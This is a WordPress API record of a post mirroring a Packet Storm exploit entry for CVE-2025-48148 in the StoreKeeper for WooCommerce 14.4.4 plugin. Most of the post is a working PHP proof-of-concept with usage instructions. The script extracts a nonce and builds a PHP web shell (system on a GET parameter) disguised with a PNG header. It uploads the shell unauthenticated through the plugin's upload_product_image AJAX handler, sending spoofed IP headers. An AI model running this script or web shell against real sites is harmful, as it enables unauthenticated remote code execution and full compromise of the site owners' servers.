{"id":39480,"date":"2026-02-06T13:53:25","date_gmt":"2026-02-06T13:53:25","guid":{"rendered":"http:\/\/localhost\/?p=39480"},"modified":"2026-02-06T13:53:25","modified_gmt":"2026-02-06T13:53:25","slug":"wordpress-storekeeper-for-woocommerce-1444-shell-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=39480","title":{"rendered":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:44:21&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise. Version 14.4.4 is affected&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-06T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215101&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-48148&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : WordPress StoreKeeper for WooCommerce 14.4.4 Remote Code Execution via File Upload                                          |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/wordpress.org\/plugins\/storekeeper-for-woocommerce\/                                                                  |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/210872\/ \\u0026 \\tCVE-2025-48148 \\n    \\n    [+] Summary    : A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading to complete system compromise.\\n    \\n    [+]  Risk Assessment :\\n    \\n    &#8211; **Attack Vector**: Network-based, no authentication required\\n    &#8211; **Attack Complexity**: Low\\n    &#8211; **Privileges Required**: None\\n    &#8211; **User Interaction**: None\\n    \\n    The vulnerability stems from improper nonce validation and missing authorization checks in the `upload_product_image` AJAX handler.\\n    \\n    [+] Usage: \\n    \\n    Usage: php poc.php -u \\u003curl\\u003e [&#8211;debug]\\n    \\n    Example: php poc.php -u http:\/\/site.com\/ [&#8211;debug]\\n    \\n    [+] POC :\\n    \\n    \\u003c?php\\n    \\n    class NxploitedShellUploader {\\n        private $logger;\\n        private $timeout = 10;\\n        \\n        public function __construct($debug = false) {\\n            $this-\\u003esetupLogger($debug);\\n        }\\n        \\n        private function setupLogger($debug) {\\n            $this-\\u003elogger = function($message, $level = &#8216;INFO&#8217;) {\\n                $timestamp = date(&#8216;Y-m-d H:i:s&#8217;);\\n                echo \\&#8221;[$timestamp] [$level] $message\\\\n\\&#8221;;\\n            };\\n        }\\n        \\n        private function log($message, $level = &#8216;INFO&#8217;) {\\n            call_user_func($this-\\u003elogger, $message, $level);\\n        }\\n        \\n        public function getNonce($site_url) {\\n            $headers = [\\n                \\&#8221;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64)\\&#8221;,\\n                \\&#8221;Accept: *\/*\\&#8221;,\\n                \\&#8221;Connection: close\\&#8221;,\\n                \\&#8221;Referer: \\&#8221; . $site_url,\\n                \\&#8221;X-Forwarded-For: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Originating-IP: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Remote-IP: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Remote-Addr: 127.0.0.1\\&#8221;\\n            ];\\n            \\n            $this-\\u003elog(\\&#8221;Requesting site for nonce extraction&#8230;\\&#8221;);\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $site_url,\\n                CURLOPT_HTTPHEADER =\\u003e $headers,\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_RETURNTRANSFER =\\u003e true\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $error = curl_error($ch);\\n            curl_close($ch);\\n            \\n            if ($error) {\\n                $this-\\u003elog(\\&#8221;Error fetching URL: $error\\&#8221;, &#8216;ERROR&#8217;);\\n                exit(1);\\n            }\\n            \\n            if (preg_match(&#8216;\/\\&#8221;nonce\\&#8221;:\\&#8221;([a-f0-9]+)\\&#8221;\/&#8217;, $response, $matches)) {\\n                $nonce_val = $matches[1];\\n                $this-\\u003elog(\\&#8221;Nonce extracted: $nonce_val\\&#8221;);\\n                return $nonce_val;\\n            }\\n            \\n            $this-\\u003elog(\\&#8221;Nonce not found!\\&#8221;, &#8216;ERROR&#8217;);\\n            exit(1);\\n        }\\n        \\n        public function writeShell($filename = \\&#8221;indoushka.php\\&#8221;) {\\n            $shell_content = \\&#8221;\\\\x89\\\\x50\\\\x4E\\\\x47\\\\x0D\\\\x0A\\\\x1A\\\\x0A\\u003c?php system(\\\\$_GET[&#8216;cmd&#8217;]); ?\\u003e\\&#8221;;\\n            \\n            if (file_put_contents($filename, $shell_content) !== false) {\\n                $this-\\u003elog(\\&#8221;Shell file created: $filename\\&#8221;);\\n                return true;\\n            } else {\\n                $this-\\u003elog(\\&#8221;Failed to create shell file: $filename\\&#8221;, &#8216;ERROR&#8217;);\\n                return false;\\n            }\\n        }\\n        \\n        public function uploadShell($site_url, $nonce, $shell_path) {\\n            $base = rtrim(explode(&#8216;\/wp-admin\/&#8217;, $site_url)[0], &#8216;\/&#8217;);\\n            $ajax_url = $base . \\&#8221;\/wp-admin\/admin-ajax.php\\&#8221;;\\n            \\n            $this-\\u003elog(\\&#8221;Uploading shell to $ajax_url &#8230;\\&#8221;);\\n            \\n            if (!file_exists($shell_path)) {\\n                $this-\\u003elog(\\&#8221;Shell file not found: $shell_path\\&#8221;, &#8216;ERROR&#8217;);\\n                exit(1);\\n            }\\n            \\n            $post_data = [\\n                &#8216;action&#8217; =\\u003e &#8216;upload_product_image&#8217;,\\n                &#8216;nonce&#8217; =\\u003e $nonce,\\n                &#8216;file&#8217; =\\u003e new CURLFile($shell_path, &#8216;image\/png&#8217;, &#8216;indoushka.php&#8217;)\\n            ];\\n            \\n            $headers = [\\n                \\&#8221;User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko\/20100101 Firefox\/99.0\\&#8221;,\\n                \\&#8221;Referer: \\&#8221; . $site_url,\\n                \\&#8221;X-Requested-With: XMLHttpRequest\\&#8221;,\\n                \\&#8221;Accept: *\/*\\&#8221;,\\n                \\&#8221;Connection: close\\&#8221;,\\n                \\&#8221;X-Forwarded-For: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Originating-IP: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Remote-IP: 127.0.0.1\\&#8221;,\\n                \\&#8221;X-Remote-Addr: 127.0.0.1\\&#8221;,\\n                \\&#8221;Pragma: no-cache\\&#8221;,\\n                \\&#8221;Cache-Control: no-cache\\&#8221;\\n            ];\\n            \\n            $ch = curl_init();\\n            curl_setopt_array($ch, [\\n                CURLOPT_URL =\\u003e $ajax_url,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e $post_data,\\n                CURLOPT_HTTPHEADER =\\u003e $headers,\\n                CURLOPT_TIMEOUT =\\u003e 15,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                CURLOPT_RETURNTRANSFER =\\u003e true\\n            ]);\\n            \\n            $response = curl_exec($ch);\\n            $error = curl_error($ch);\\n            curl_close($ch);\\n            \\n            if ($error) {\\n                $this-\\u003elog(\\&#8221;Upload failed: $error\\&#8221;, &#8216;ERROR&#8217;);\\n                exit(1);\\n            }\\n            \\n            $this-\\u003elog(\\&#8221;Upload response:\\&#8221;);\\n            echo $response . \\&#8221;\\\\n\\&#8221;;\\n            \\n            return $response;\\n        }\\n        \\n        public function execute($url, $debug = false) {\\n            if ($debug) {\\n                $this-\\u003elog(\\&#8221;Debug logging enabled\\&#8221;, &#8216;DEBUG&#8217;);\\n            }\\n            \\n            try {\\n                $nonce = $this-\\u003egetNonce($url);\\n                $this-\\u003ewriteShell(\\&#8221;indoushka.php\\&#8221;);\\n                $this-\\u003euploadShell($url, $nonce, \\&#8221;indoushka.php\\&#8221;);\\n                $this-\\u003elog(\\&#8221;Operation completed.\\&#8221;);\\n            } catch (Exception $e) {\\n                $this-\\u003elog(\\&#8221;Operation failed: \\&#8221; . $e-\\u003egetMessage(), &#8216;ERROR&#8217;);\\n                exit(1);\\n            }\\n        }\\n    }\\n    \\n    if (php_sapi_name() === &#8216;cli&#8217;) {\\n        $options = getopt(\\&#8221;u:\\&#8221;, [\\&#8221;url:\\&#8221;, \\&#8221;debug\\&#8221;]);\\n        \\n        $url = $options[&#8216;u&#8217;] ?? $options[&#8216;url&#8217;] ?? null;\\n        $debug = isset($options[&#8216;debug&#8217;]);\\n        \\n        if (!$url) {\\n            echo \\&#8221;Usage: php exploit.php -u \\u003curl\\u003e [&#8211;debug]\\\\n\\&#8221;;\\n            echo \\&#8221;Example: php exploit.php -u http:\/\/site.com\/ [&#8211;debug]\\\\n\\&#8221;;\\n            exit(1);\\n        }\\n        \\n        $uploader = new NxploitedShellUploader($debug);\\n        $uploader-\\u003eexecute($url, $debug);\\n    } else {\\n        echo \\&#8221;This script is intended for command line use only.\\\\n\\&#8221;;\\n    }\\n    \\n    if (function_exists(&#8216;curl_version&#8217;)) {\\n     \\n    }\\n    ?\\u003e\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215101&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215101\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:44:21&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-39480","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=39480\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:44:21&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=39480\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-06T13:53:25+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101\",\"datePublished\":\"2026-02-06T13:53:25+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480\"},\"wordCount\":1052,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-10.0\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39480#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480\",\"name\":\"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-06T13:53:25+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=39480\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=39480#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=39480","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-06T18:44:21&#8243;,&#8221;description&#8221;:&#8221;A critical security vulnerability exists in the StoreKeeper for WooCommerce WordPress plugin that allows unauthenticated attackers to upload arbitrary files, including PHP web shells, leading...","og_url":"https:\/\/zero.redgem.net\/?p=39480","og_site_name":"zero redgem","article_published_time":"2026-02-06T13:53:25+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=39480#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=39480"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101","datePublished":"2026-02-06T13:53:25+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=39480"},"wordCount":1052,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-10.0","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=39480#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=39480","url":"https:\/\/zero.redgem.net\/?p=39480","name":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-06T13:53:25+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=39480#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=39480"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=39480#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress StoreKeeper for WooCommerce 14.4.4 Shell Upload_PACKETSTORM:215101"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39480","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=39480"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/39480\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=39480"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=39480"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=39480"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}